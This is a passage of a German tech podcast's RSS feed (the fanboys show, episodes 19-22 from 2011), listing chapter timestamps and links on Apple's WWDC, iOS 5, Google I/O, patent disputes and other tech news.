+ <pubDate>Mon, 06 Jun 2011 21:30:33 -0700</pubDate>
+ <itunes:duration>01:30:07</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:12 Und Martin
+00:01:50 Halo 4
+00:03:14 WWDC Keynote
+00:05:11 Lion
+00:06:05 Gesten
+00:06:17 Fullscreen
+00:06:59 Mission Control
+00:08:33 Launchpad
+00:09:50 Resume
+00:10:38 Versions
+00:12:24 Airdrop
+00:13:59 Mail
+00:16:21 29 Dollar, nur im App Store
+00:19:58 Mac App Store
+00:23:14 iOS 5
+00:27:26 Notifications
+00:30:19 Newsstand
+00:32:57 Twitter
+00:36:13 Safari
+00:41:05 Reminders
+00:43:47 Camera
+00:47:21 Mail
+00:51:45 PC Free
+00:54:37 Game Center
+00:58:22 iMessage
+01:02:01 iCloud
+01:17:00 iTunes Match
+01:27:18 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:01:50</td><td><a href="http://www.wired.com/gamelife/2011/06/microsoft-e3-2011-liveblog/?pid=1281&pageid=35839" target="_blank">Halo 4</td></tr><tr><td>00:03:14</td><td>WWDC Keynote</td></tr><tr><td>00:05:11</td><td><a href="http://www.apple.com/macosx/whats-new/" target="_blank">Lion</td></tr><tr><td>00:06:05</td><td><a href="http://www.apple.com/macosx/whats-new/" target="_blank">Gesten</td></tr><tr><td>00:06:17</td><td><a href="http://www.apple.com/macosx/whats-new/" target="_blank">Fullscreen</td></tr><tr><td>00:06:59</td><td><a href="http://www.apple.com/macosx/whats-new/" target="_blank">Mission Control</td></tr><tr><td>00:08:33</td><td>Launchpad</td></tr><tr><td>00:09:50</td><td>Resume</td></tr><tr><td>00:10:38</td><td>Versions</td></tr><tr><td>00:12:24</td><td>Airdrop</td></tr><tr><td>00:13:59</td><td>Mail</td></tr><tr><td>00:16:21</td><td>29 Dollar, nur im App Store</td></tr><tr><td>00:19:58</td><td>Mac App Store</td></tr><tr><td>00:23:14</td><td><a href="http://www.apple.com/ios/ios5/features.html" target="_blank">iOS 5</td></tr><tr><td>00:27:26</td><td><a href="http://www.apple.com/ios/ios5/features.html#notification" target="_blank">Notifications</td></tr><tr><td>00:30:19</td><td><a href="http://www.apple.com/ios/ios5/features.html#newsstand" target="_blank">Newsstand</td></tr><tr><td>00:32:57</td><td><a href="http://www.apple.com/ios/ios5/features.html#twitter" target="_blank">Twitter</td></tr><tr><td>00:36:13</td><td><a href="http://www.apple.com/ios/ios5/features.html#safari" target="_blank">Safari</td></tr><tr><td>00:41:05</td><td><a href="http://www.apple.com/ios/ios5/features.html#reminders" target="_blank">Reminders</td></tr><tr><td>00:43:47</td><td><a href="http://www.apple.com/ios/ios5/features.html#camera" target="_blank">Camera</td></tr><tr><td>00:47:21</td><td><a href="http://www.apple.com/ios/ios5/features.html#more" target="_blank">Mail</td></tr><tr><td>00:51:45</td><td><a href="http://www.apple.com/ios/ios5/features.html#pcfree" target="_blank">PC Free</td></tr><tr><td>00:54:37</td><td><a href="http://www.apple.com/ios/ios5/features.html#more" target="_blank">Game Center</td></tr><tr><td>00:58:22</td><td><a href="http://www.apple.com/ios/ios5/features.html#imessage" target="_blank">iMessage</td></tr><tr><td>01:02:01</td><td><a href="http://www.apple.com/icloud/features/" target="_blank">iCloud</td></tr><tr><td>01:17:00</td><td><a href="http://www.apple.com/icloud/features/" target="_blank">iTunes Match</td></tr><tr><td>01:27:18</td><td><a href="http://www.youtube.com/watch?v=T5evwsFRnMQ" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:12" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:50" title="Halo 4" href="http://www.wired.com/gamelife/2011/06/microsoft-e3-2011-liveblog/?pid=1281&amp;pageid=35839" />
+ <sc:chapter start="00:03:14" title="WWDC Keynote" />
+ <sc:chapter start="00:05:11" title="Lion" href="http://www.apple.com/macosx/whats-new/" />
+ <sc:chapter start="00:06:05" title="Gesten" href="http://www.apple.com/macosx/whats-new/" />
+ <sc:chapter start="00:06:17" title="Fullscreen" href="http://www.apple.com/macosx/whats-new/" />
+ <sc:chapter start="00:06:59" title="Mission Control" href="http://www.apple.com/macosx/whats-new/" />
+ <sc:chapter start="00:08:33" title="Launchpad" />
+ <sc:chapter start="00:09:50" title="Resume" />
+ <sc:chapter start="00:10:38" title="Versions" />
+ <sc:chapter start="00:12:24" title="Airdrop" />
+ <sc:chapter start="00:13:59" title="Mail" />
+ <sc:chapter start="00:16:21" title="29 Dollar, nur im App Store" />
+ <sc:chapter start="00:19:58" title="Mac App Store" />
+ <sc:chapter start="00:23:14" title="iOS 5" href="http://www.apple.com/ios/ios5/features.html" />
+ <sc:chapter start="00:27:26" title="Notifications" href="http://www.apple.com/ios/ios5/features.html#notification" />
+ <sc:chapter start="00:30:19" title="Newsstand" href="http://www.apple.com/ios/ios5/features.html#newsstand" />
+ <sc:chapter start="00:32:57" title="Twitter" href="http://www.apple.com/ios/ios5/features.html#twitter" />
+ <sc:chapter start="00:36:13" title="Safari" href="http://www.apple.com/ios/ios5/features.html#safari" />
+ <sc:chapter start="00:41:05" title="Reminders" href="http://www.apple.com/ios/ios5/features.html#reminders" />
+ <sc:chapter start="00:43:47" title="Camera" href="http://www.apple.com/ios/ios5/features.html#camera" />
+ <sc:chapter start="00:47:21" title="Mail" href="http://www.apple.com/ios/ios5/features.html#more" />
+ <sc:chapter start="00:51:45" title="PC Free" href="http://www.apple.com/ios/ios5/features.html#pcfree" />
+ <sc:chapter start="00:54:37" title="Game Center" href="http://www.apple.com/ios/ios5/features.html#more" />
+ <sc:chapter start="00:58:22" title="iMessage" href="http://www.apple.com/ios/ios5/features.html#imessage" />
+ <sc:chapter start="01:02:01" title="iCloud" href="http://www.apple.com/icloud/features/" />
+ <sc:chapter start="01:17:00" title="iTunes Match" href="http://www.apple.com/icloud/features/" />
+ <sc:chapter start="01:27:18" title="Rausschmeisser" href="http://www.youtube.com/watch?v=T5evwsFRnMQ" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#22:" />
+ </item>
+ <item>
+ <title>Episode #21 - Level Level Scheisse</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Level Level Scheisse</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN021.mp3" length="36980109" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN021</guid>
+ <pubDate>Fri, 27 May 2011 18:08:05 +0200</pubDate>
+ <itunes:duration>01:16:54</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:05 Mit Dominik
+00:00:09 Und Martin
+00:00:48 Ein Mountie in Chicago
+00:01:50 Apple antwortet Lodsys
+00:03:55 Lodsys schreibt Android Entwickler an
+00:05:34 Amazon mit Mac App Store
+00:08:53 Ballmer gegen Einhorn
+00:13:01 Google Beta (Music)
+00:15:48 Google Wallet
+00:21:01 Paypal klagt gegen Google Wallet
+00:22:54 Square
+00:23:56 eG8
+00:27:38 CDU Medianight
+00:33:43 360 Controller Treiber
+00:39:12 tunnelblick vs. aiccu
+00:40:22 tunnelblick Mailinglistenbeitrag
+00:42:30 Verschlüsselung bei Crashplan
+00:48:56 Migrationsassistent oder nicht?
+00:54:48 Percepto
+00:55:13 Monospace
+00:58:04 All Watched Over by Machines of Loving Grace
+01:01:28 Douglas Adams auf der PDC 1996
+01:06:37 Frontline: “WikiSecretsâ€
+01:12:45 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:05</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:48</td><td><a href="http://de.wikipedia.org/wiki/Ein_Mountie_in_Chicago" target="_blank">Ein Mountie in Chicago</td></tr><tr><td>00:01:50</td><td><a href="http://www.macworld.com/article/160031/2011/05/apple_legal_lodsys_letter_text.html#lsrc=twt_jsnell" target="_blank">Apple antwortet Lodsys</td></tr><tr><td>00:03:55</td><td><a href="http://androidcommunity.com/android-devs-hit-by-lodsys-in-app-patent-legal-threats-20110527/" target="_blank">Lodsys schreibt Android Entwickler an</td></tr><tr><td>00:05:34</td><td><a href="http://mashable.com/2011/05/26/amazon-mac-download-store/" target="_blank">Amazon mit Mac App Store</td></tr><tr><td>00:08:53</td><td><a href="http://dealbook.nytimes.com/2011/05/25/ballmer-must-go-einhorn-says/" target="_blank">Ballmer gegen Einhorn</td></tr><tr><td>00:13:01</td><td><a href="http://music.google.com" target="_blank">Google Beta (Music)</td></tr><tr><td>00:15:48</td><td><a href="http://www.google.com/wallet/vision.html" target="_blank">Google Wallet</td></tr><tr><td>00:21:01</td><td><a href="https://www.thepaypalblog.com/2011/05/paypal-files-lawsuit-to-protect-trade-secrets-a-reason-worth-fighting-for/" target="_blank">Paypal klagt gegen Google Wallet</td></tr><tr><td>00:22:54</td><td><a href="http://itunes.apple.com/us/app/square/id335393788?mt=8" target="_blank">Square</td></tr><tr><td>00:23:56</td><td><a href="http://www.eg8forum.com/en/" target="_blank">eG8</td></tr><tr><td>00:27:38</td><td><a href="http://media.ndr.de/download/2011/0526/TV-20110526-1418-1101.h264.mp4" target="_blank">CDU Medianight</td></tr><tr><td>00:33:43</td><td><a href="http://audioboo.fm/boos/363509-nielsk-fragt-die-fanb0ys-wie-man-unter-os-x-automatisch-usb-treiber-lad" target="_blank">360 Controller Treiber</td></tr><tr><td>00:39:12</td><td><a href="http://audioboo.fm/boos/366333-tun-deppert-treiber" target="_blank">tunnelblick vs. aiccu</td></tr><tr><td>00:40:22</td><td><a href="http://groups.google.com/group/tunnelblick-discuss/browse_thread/thread/41d670b740627eac?pli=1" target="_blank">tunnelblick Mailinglistenbeitrag</td></tr><tr><td>00:42:30</td><td><a href="http://audioboo.fm/boos/363230-question-for-the-b0ys" target="_blank">Verschlüsselung bei Crashplan</td></tr><tr><td>00:48:56</td><td><a href="http://audioboo.fm/boos/366745-fabians-frage-migrationsassistent-oder-handarbeit" target="_blank">Migrationsassistent oder nicht?</td></tr><tr><td>00:54:48</td><td><a href="http://itunes.apple.com/de/app/percepto/id419502225?mt=8" target="_blank">Percepto</td></tr><tr><td>00:55:13</td><td><a href="http://itunes.apple.com/de/app/monospace/id302367044?mt=8" target="_blank">Monospace</td></tr><tr><td>00:58:04</td><td><a href="http://www.bbc.co.uk/blogs/adamcurtis/2011/05/all_watched_over_by_machines_o.html" target="_blank">All Watched Over by Machines of Loving Grace</td></tr><tr><td>01:01:28</td><td><a href="http://channel9.msdn.com/Events/PDC/PDC-1996/PDC-1996-Keynote-with-Douglas-Adams" target="_blank">Douglas Adams auf der PDC 1996</td></tr><tr><td>01:06:37</td><td><a href="http://www.pbs.org/wgbh/pages/frontline/wikileaks/" target="_blank">Frontline: “WikiSecretsâ€</td></tr><tr><td>01:12:45</td><td><a href="http://www.funnyordie.com/videos/0f1d5effdf/kacey-jones-donald-trump-s-hair" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:05" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:09" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:48" title="Ein Mountie in Chicago" href="http://de.wikipedia.org/wiki/Ein_Mountie_in_Chicago" />
+ <sc:chapter start="00:01:50" title="Apple antwortet Lodsys" href="http://www.macworld.com/article/160031/2011/05/apple_legal_lodsys_letter_text.html#lsrc=twt_jsnell" />
+ <sc:chapter start="00:03:55" title="Lodsys schreibt Android Entwickler an" href="http://androidcommunity.com/android-devs-hit-by-lodsys-in-app-patent-legal-threats-20110527/" />
+ <sc:chapter start="00:05:34" title="Amazon mit Mac App Store" href="http://mashable.com/2011/05/26/amazon-mac-download-store/" />
+ <sc:chapter start="00:08:53" title="Ballmer gegen Einhorn" href="http://dealbook.nytimes.com/2011/05/25/ballmer-must-go-einhorn-says/" />
+ <sc:chapter start="00:13:01" title="Google Beta (Music)" href="http://music.google.com" />
+ <sc:chapter start="00:15:48" title="Google Wallet" href="http://www.google.com/wallet/vision.html" />
+ <sc:chapter start="00:21:01" title="Paypal klagt gegen Google Wallet" href="https://www.thepaypalblog.com/2011/05/paypal-files-lawsuit-to-protect-trade-secrets-a-reason-worth-fighting-for/" />
+ <sc:chapter start="00:22:54" title="Square" href="http://itunes.apple.com/us/app/square/id335393788?mt=8" />
+ <sc:chapter start="00:23:56" title="eG8" href="http://www.eg8forum.com/en/" />
+ <sc:chapter start="00:27:38" title="CDU Medianight" href="http://media.ndr.de/download/2011/0526/TV-20110526-1418-1101.h264.mp4" />
+ <sc:chapter start="00:33:43" title="360 Controller Treiber" href="http://audioboo.fm/boos/363509-nielsk-fragt-die-fanb0ys-wie-man-unter-os-x-automatisch-usb-treiber-lad" />
+ <sc:chapter start="00:39:12" title="tunnelblick vs. aiccu" href="http://audioboo.fm/boos/366333-tun-deppert-treiber" />
+ <sc:chapter start="00:40:22" title="tunnelblick Mailinglistenbeitrag" href="http://groups.google.com/group/tunnelblick-discuss/browse_thread/thread/41d670b740627eac?pli=1" />
+ <sc:chapter start="00:42:30" title="Verschlüsselung bei Crashplan" href="http://audioboo.fm/boos/363230-question-for-the-b0ys" />
+ <sc:chapter start="00:48:56" title="Migrationsassistent oder nicht?" href="http://audioboo.fm/boos/366745-fabians-frage-migrationsassistent-oder-handarbeit" />
+ <sc:chapter start="00:54:48" title="Percepto" href="http://itunes.apple.com/de/app/percepto/id419502225?mt=8" />
+ <sc:chapter start="00:55:13" title="Monospace" href="http://itunes.apple.com/de/app/monospace/id302367044?mt=8" />
+ <sc:chapter start="00:58:04" title="All Watched Over by Machines of Loving Grace" href="http://www.bbc.co.uk/blogs/adamcurtis/2011/05/all_watched_over_by_machines_o.html" />
+ <sc:chapter start="01:01:28" title="Douglas Adams auf der PDC 1996" href="http://channel9.msdn.com/Events/PDC/PDC-1996/PDC-1996-Keynote-with-Douglas-Adams" />
+ <sc:chapter start="01:06:37" title="Frontline: “WikiSecretsâ€" href="http://www.pbs.org/wgbh/pages/frontline/wikileaks/" />
+ <sc:chapter start="01:12:45" title="Rausschmeisser" href="http://www.funnyordie.com/videos/0f1d5effdf/kacey-jones-donald-trump-s-hair" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#21:" />
+ </item>
+ <item>
+ <title>Episode #20 - Unterwasser-Ponys</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Unterwasser-Ponys</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN020.mp3" length="36024448" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN020</guid>
+ <pubDate>Sat, 21 May 2011 20:06:10 +0200</pubDate>
+ <itunes:duration>01:15:02</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Und Martin
+00:00:56 KeyCue
+00:01:54 Piraten-Servergate
+00:14:12 Bradley Manning
+00:17:26 In-App-Gate
+00:28:07 Mehr eBooks als richtige Bücher
+00:30:10 AuthToken-Gate
+00:34:20 PSN Hacks, Teil 12
+00:39:36 Homebanking
+00:41:42 Surfen Multimedia
+00:41:49 ChapterTool Gejammer
+00:49:00 Dropbox und die Verschlüsselung
+00:54:35 RAR Files und Rechteprobleme
+00:57:13 Rapture-Liveberichterstattung
+00:57:32 The Unarchiver
+00:59:11 ACL FIles entfernen
+01:03:15 Dropbox Partion und TimeMachine
+01:05:44 iTunes vs. Twitter
+01:07:53 Sicherheitshinweise für die Zombokalypse
+01:09:30 Pontypool
+01:13:17 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:56</td><td><a href="http://www.ergonis.com/products/keycue/" target="_blank">KeyCue</td></tr><tr><td>00:01:54</td><td><a href="http://www.piratenpartei.de/print/1354" target="_blank">Piraten-Servergate</td></tr><tr><td>00:14:12</td><td><a href="http://www.bradleymanning.org/" target="_blank">Bradley Manning</td></tr><tr><td>00:17:26</td><td><a href="http://thenextweb.com/apple/2011/05/16/lodsys-explains-in-app-patent-warning-letters-sent-to-ios-developers/" target="_blank">In-App-Gate</td></tr><tr><td>00:28:07</td><td><a href="http://www.theatlantic.com/business/archive/2011/05/amazon-now-selling-more-kindle-books-than-print-books/239150/" target="_blank">Mehr eBooks als richtige Bücher</td></tr><tr><td>00:30:10</td><td><a href="http://blogs.computerworld.com/18308/google_android_security_flaw" target="_blank">AuthToken-Gate</td></tr><tr><td>00:34:20</td><td><a href="http://thenextweb.com/industry/2011/05/18/not-so-fast-sonys-playstation-network-hacked-again/" target="_blank">PSN Hacks, Teil 12</td></tr><tr><td>00:39:36</td><td><a href="http://www.youtube.com/watch?v=okJ9A07h3Bo" target="_blank">Homebanking</td></tr><tr><td>00:41:42</td><td><a href="http://www.youtube.com/watch?v=yFPQbnraeVg" target="_blank">Surfen Multimedia</td></tr><tr><td>00:41:49</td><td>ChapterTool Gejammer</td></tr><tr><td>00:49:00</td><td><a href="http://www.wired.com/threatlevel/2011/05/dropbox-ftc/" target="_blank">Dropbox und die Verschlüsselung</td></tr><tr><td>00:54:35</td><td>RAR Files und Rechteprobleme</td></tr><tr><td>00:57:13</td><td>Rapture-Liveberichterstattung</td></tr><tr><td>00:57:32</td><td><a href="http://wakaba.c3.cx/s/apps/unarchiver.html" target="_blank">The Unarchiver</td></tr><tr><td>00:59:11</td><td><a href="http://www.think-mac.de/2011/02/02/alle-acls-von-einem-ordner-entfernen/" target="_blank">ACL FIles entfernen</td></tr><tr><td>01:03:15</td><td>Dropbox Partion und TimeMachine</td></tr><tr><td>01:05:44</td><td>iTunes vs. Twitter</td></tr><tr><td>01:07:53</td><td><a href="http://emergency.cdc.gov/socialmedia/zombies_blog.asp" target="_blank">Sicherheitshinweise für die Zombokalypse</td></tr><tr><td>01:09:30</td><td><a href="http://en.wikipedia.org/wiki/Pontypool_(film)" target="_blank">Pontypool</td></tr><tr><td>01:13:17</td><td><a href="http://www.youtube.com/watch?v=dRkIWB3HIEs" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:56" title="KeyCue" href="http://www.ergonis.com/products/keycue/" />
+ <sc:chapter start="00:01:54" title="Piraten-Servergate" href="http://www.piratenpartei.de/print/1354" />
+ <sc:chapter start="00:14:12" title="Bradley Manning" href="http://www.bradleymanning.org/" />
+ <sc:chapter start="00:17:26" title="In-App-Gate" href="http://thenextweb.com/apple/2011/05/16/lodsys-explains-in-app-patent-warning-letters-sent-to-ios-developers/" />
+ <sc:chapter start="00:28:07" title="Mehr eBooks als richtige Bücher" href="http://www.theatlantic.com/business/archive/2011/05/amazon-now-selling-more-kindle-books-than-print-books/239150/" />
+ <sc:chapter start="00:30:10" title="AuthToken-Gate" href="http://blogs.computerworld.com/18308/google_android_security_flaw" />
+ <sc:chapter start="00:34:20" title="PSN Hacks, Teil 12" href="http://thenextweb.com/industry/2011/05/18/not-so-fast-sonys-playstation-network-hacked-again/" />
+ <sc:chapter start="00:39:36" title="Homebanking" href="http://www.youtube.com/watch?v=okJ9A07h3Bo" />
+ <sc:chapter start="00:41:42" title="Surfen Multimedia" href="http://www.youtube.com/watch?v=yFPQbnraeVg" />
+ <sc:chapter start="00:41:49" title="ChapterTool Gejammer" />
+ <sc:chapter start="00:49:00" title="Dropbox und die Verschlüsselung" href="http://www.wired.com/threatlevel/2011/05/dropbox-ftc/" />
+ <sc:chapter start="00:54:35" title="RAR Files und Rechteprobleme" />
+ <sc:chapter start="00:57:13" title="Rapture-Liveberichterstattung" />
+ <sc:chapter start="00:57:32" title="The Unarchiver" href="http://wakaba.c3.cx/s/apps/unarchiver.html" />
+ <sc:chapter start="00:59:11" title="ACL FIles entfernen" href="http://www.think-mac.de/2011/02/02/alle-acls-von-einem-ordner-entfernen/" />
+ <sc:chapter start="01:03:15" title="Dropbox Partion und TimeMachine" />
+ <sc:chapter start="01:05:44" title="iTunes vs. Twitter" />
+ <sc:chapter start="01:07:53" title="Sicherheitshinweise für die Zombokalypse" href="http://emergency.cdc.gov/socialmedia/zombies_blog.asp" />
+ <sc:chapter start="01:09:30" title="Pontypool" href="http://en.wikipedia.org/wiki/Pontypool_(film)" />
+ <sc:chapter start="01:13:17" title="Rausschmeisser" href="http://www.youtube.com/watch?v=dRkIWB3HIEs" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#20:" />
+ </item>
+ <item>
+ <title>Episode #19 - Milchschnittenroboter</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Milchschnittenroboter</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN019.mp3" length="50378918" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN019</guid>
+ <pubDate>Sat, 14 May 2011 20:29:30 +0200</pubDate>
+ <itunes:duration>01:44:57</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:09 Und Martin
+00:01:06 Zwangsgeflattrt
+00:03:13 Google IO
+00:08:02 Honeycomb 3.1
+00:08:31 Widgets to the next level
+00:10:19 USB Host
+00:13:56 Icecream Sandwich
+00:16:26 It's open!
+00:17:04 Headtracking
+00:20:02 Techdemo Rant
+00:21:46 Android Market
+00:25:09 Music Beta
+00:30:51 Android Alliance
+00:32:21 Open Accessory alliance
+00:37:00 android@home
+00:40:16 Chrome und WebGL
+00:41:49 Google Body
+00:42:06 Chrome Experiments
+00:43:21 Three dreams of black
+00:48:29 Chromebooks
+00:57:07 Microsoft kauft Skype
+01:02:53 Phil, JUMP!
+01:05:35 Consoligate Hearing
+01:14:37 iMac Platten nicht (fremd-)tauschbar
+01:19:31 Timemaschine via netatalk
+01:20:41 Entwickleranlaufstellen
+01:22:43 Cocoadev
+01:23:12 Daniel Jalkut
+01:23:22 Matt Gemmell
+01:23:34 Der Hockenbär
+01:24:09 CocoaObjects
+01:24:52 stackoverflow
+01:25:30 Mailinglisten Archiv
+01:26:38 Keyboard Shortcuts
+01:30:45 Twitter Ähnlichkeit
+01:31:39 Interview mit Andreas Illiger
+01:33:53 Podcastworkflow
+01:34:32 Squier Rockband von Fender
+01:39:28 Nyan Cat fürs iPhone
+01:43:39 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:01:06</td><td><a href="https://flattr.com/thing/268597/fanb0ys-on-Twitter" target="_blank">Zwangsgeflattrt</td></tr><tr><td>00:03:13</td><td><a href="http://www.youtube.com/watch?v=OxzucwjFEEs" target="_blank">Google IO</td></tr><tr><td>00:08:02</td><td>Honeycomb 3.1</td></tr><tr><td>00:08:31</td><td>Widgets to the next level</td></tr><tr><td>00:10:19</td><td>USB Host</td></tr><tr><td>00:13:56</td><td>Icecream Sandwich</td></tr><tr><td>00:16:26</td><td>It's open!</td></tr><tr><td>00:17:04</td><td>Headtracking</td></tr><tr><td>00:20:02</td><td>Techdemo Rant</td></tr><tr><td>00:21:46</td><td>Android Market</td></tr><tr><td>00:25:09</td><td><a href="http://www.iphoneblog.de/2011/05/12/ein-erster-blick-googles-music-beta/" target="_blank">Music Beta</td></tr><tr><td>00:30:51</td><td>Android Alliance</td></tr><tr><td>00:32:21</td><td><a href="http://blog.makezine.com/archive/2011/05/google-picks-arduino-for-android-open-accessory-kit.html" target="_blank">Open Accessory alliance</td></tr><tr><td>00:37:00</td><td><a href="http://www.bgr.com/2011/05/10/google-announces-android-home/" target="_blank">android@home</td></tr><tr><td>00:40:16</td><td>Chrome und WebGL</td></tr><tr><td>00:41:49</td><td><a href="http://bodybrowser.googlelabs.com/" target="_blank">Google Body</td></tr><tr><td>00:42:06</td><td><a href="http://www.chromeexperiments.com/" target="_blank">Chrome Experiments</td></tr><tr><td>00:43:21</td><td><a href="http://www.ro.me/tech/" target="_blank">Three dreams of black</td></tr><tr><td>00:48:29</td><td><a href="http://www.google.com/chromebook/#" target="_blank">Chromebooks</td></tr><tr><td>00:57:07</td><td><a href="http://www.microsoft.com/presspass/press/2011/may11/05-10corpnewspr.mspx" target="_blank">Microsoft kauft Skype</td></tr><tr><td>01:02:53</td><td><a href="http://www.youtube.com/watch?v=1MR4R5LdrJw" target="_blank">Phil, JUMP!</td></tr><tr><td>01:05:35</td><td><a href="http://www.c-span.org/Events/Congress-Looks-into-Protecting-Mobile-Privacy/10737421417-1/" target="_blank">Consoligate Hearing</td></tr><tr><td>01:14:37</td><td><a href="http://www.macrumors.com/2011/05/12/apple-restricts-hard-drive-replacements-on-new-imacs/" target="_blank">iMac Platten nicht (fremd-)tauschbar</td></tr><tr><td>01:19:31</td><td><a href="http://www.kremalicious.com/2008/06/ubuntu-as-mac-file-server-and-time-machine-volume/" target="_blank">Timemaschine via netatalk</td></tr><tr><td>01:20:41</td><td><a href="http://audioboo.fm/boos/351254-horerkommentar-time-machine-developer-resources" target="_blank">Entwickleranlaufstellen</td></tr><tr><td>01:22:43</td><td><a href="http://www.cocoadev.com/" target="_blank">Cocoadev</td></tr><tr><td>01:23:12</td><td><a href="http://www.red-sweater.com/blog/" target="_blank">Daniel Jalkut</td></tr><tr><td>01:23:22</td><td><a href="http://mattgemmell.com/source" target="_blank">Matt Gemmell</td></tr><tr><td>01:23:34</td><td><a href="http://furbo.org/" target="_blank">Der Hockenbär</td></tr><tr><td>01:24:09</td><td><a href="http://cocoaobjects.com/" target="_blank">CocoaObjects</td></tr><tr><td>01:24:52</td><td><a href="http://stackoverflow.com/" target="_blank">stackoverflow</td></tr><tr><td>01:25:30</td><td><a href="http://www.cocoabuilder.com/" target="_blank">Mailinglisten Archiv</td></tr><tr><td>01:26:38</td><td><a href="http://audioboo.fm/boos/353050-keyboard-shortcuts-in-os-x" target="_blank">Keyboard Shortcuts</td></tr><tr><td>01:30:45</td><td>Twitter Ähnlichkeit</td></tr><tr><td>01:31:39</td><td><a href="http://www.superlevel.de/spiele/interview-mit-andreas-illiger-tiny-wings#more-27253" target="_blank">Interview mit Andreas Illiger</td></tr><tr><td>01:33:53</td><td><a href="http://verfarceungsschutz.de/podcast/" target="_blank">Podcastworkflow</td></tr><tr><td>01:34:32</td><td><a href="http://www.fender.com/promos/2010/rockband3" target="_blank">Squier Rockband von Fender</td></tr><tr><td>01:39:28</td><td><a href="http://itunes.apple.com/de/app/nyan-cat-lost-in-space/id433592592?mt=8" target="_blank">Nyan Cat fürs iPhone</td></tr><tr><td>01:43:39</td><td><a href="http://www.youtube.com/watch?v=7UCm6uyzNE8" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:09" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:06" title="Zwangsgeflattrt" href="https://flattr.com/thing/268597/fanb0ys-on-Twitter" />
+ <sc:chapter start="00:03:13" title="Google IO" href="http://www.youtube.com/watch?v=OxzucwjFEEs" />
+ <sc:chapter start="00:08:02" title="Honeycomb 3.1" />
+ <sc:chapter start="00:08:31" title="Widgets to the next level" />
+ <sc:chapter start="00:10:19" title="USB Host" />
+ <sc:chapter start="00:13:56" title="Icecream Sandwich" />
+ <sc:chapter start="00:16:26" title="It's open!" />
+ <sc:chapter start="00:17:04" title="Headtracking" />
+ <sc:chapter start="00:20:02" title="Techdemo Rant" />
+ <sc:chapter start="00:21:46" title="Android Market" />
+ <sc:chapter start="00:25:09" title="Music Beta" href="http://www.iphoneblog.de/2011/05/12/ein-erster-blick-googles-music-beta/" />
+ <sc:chapter start="00:30:51" title="Android Alliance" />
+ <sc:chapter start="00:32:21" title="Open Accessory alliance" href="http://blog.makezine.com/archive/2011/05/google-picks-arduino-for-android-open-accessory-kit.html" />
+ <sc:chapter start="00:37:00" title="android@home" href="http://www.bgr.com/2011/05/10/google-announces-android-home/" />
